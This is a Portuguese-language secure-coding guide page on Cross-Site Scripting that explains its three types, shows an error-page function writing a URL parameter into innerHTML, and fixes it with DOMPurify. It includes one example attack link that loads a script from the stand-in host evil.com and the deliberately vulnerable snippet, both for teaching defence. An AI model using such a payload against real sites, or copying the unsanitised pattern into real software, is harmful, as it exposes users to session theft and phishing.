Skip to content

Cross-Site Scripting (XSS)

Introdução

Cross-Site Scripting (XSS) é uma vulnerabilidade de segurança que permite que atacantes injetem código malicioso (geralmente JavaScript) em páginas web legítimas. Este código é então executado no navegador dos usuários que visitam a página afetada.

Existem três principais tipos principais de XSS:

  • Reflected: O código malicioso é refletido de volta ao usuário a partir da aplicação web, geralmente através de parâmetros na URL ou em campos de formulário. O ataque ocorre quando o usuário clica em um link malicioso ou envia um formulário adulterado.
  • Stored: O código malicioso é armazenado no servidor da aplicação web (por exemplo, em um banco de dados) e exibido aos usuários sempre que acessam a página afetada. Este tipo de XSS é particularmente perigoso, pois pode afetar um grande número de usuários.
  • DOM Based: O código malicioso é executado como resultado da manipulação do Document Object Model (DOM) no navegador do usuário. Este tipo de XSS não envolve a interação direta com o servidor da aplicação web.

Cenário Vulnerável

Imagine que estamos criando uma tela de erro genérica, onde passamos a mensagem por query string e ela é renderizada na tela. Em nosso javascript vemos algo assim:

function displayErrorMessage() {
const urlParams = new URLSearchParams(window.location.search);
const errorMessage = urlParams.get('errorMessage');
if (errorMessage) {
const errorDiv = document.getElementById('error-message');
errorDiv.innerHTML = errorMessage;
errorDiv.style.display = 'block';
}
}

O que aconteceria se um atacante enviasse o seguinte link para uma vítima?

https://company.com.br/error?errorMessage=<script src="https://evil.com/script.js" />
  • Este script seria renderizado no corpo da página.
  • Logo iria realizar o dowload de https://evil.com/script.js.
  • Este script seria executado no navegador da vítima.

Riscos

As consequências de um ataque XSS podem ser graves:

  • Roubo de Sessão: O atacante pode roubar a sessão do usuário, permitindo que ele se passe pela vítima e acesse informações confidenciais.
  • Phishing: O atacante pode modificar a página para exibir um formulário de login falso, coletando as credenciais dos usuários.
  • Instalação de Malware: O atacante pode redirecionar o usuário para um site malicioso que instala malware em seu computador.
  • Desfiguração de Página: O atacante pode alterar a aparência da página, inserindo conteúdo indesejado ou ofensivo.

Como Corrigir

Como regra principal:

Caso necessitemos de fato renderizar algo vindo de um parâmero, devemos sanitizar este valor antes de injetá-los na página.

Para isso, podemos utilizar uma ferramena como DOMPurify.

function displayErrorMessage() {
const urlParams = new URLSearchParams(window.location.search);
const errorMessage = urlParams.get('errorMessage');
if (errorMessage) {
const errorDiv = document.getElementById('error-message');
errorDiv.innerHTML = DOMPurify.sanitize(errorMessage);
errorDiv.style.display = 'block';
}
}

Frameworks

Alguns frameworks como React ou Angular já possuem certa proteção contra ataques de cross-site scripting.

Porém estas proteções podem ser afetadas caso utilizemos algumas má práticas relacionadas à tecnologia em si.

Caso utilize um framework em específico, procure por {MY FRAMEWORK} xss prevention.

Aqui vão alguns recursos:

Referências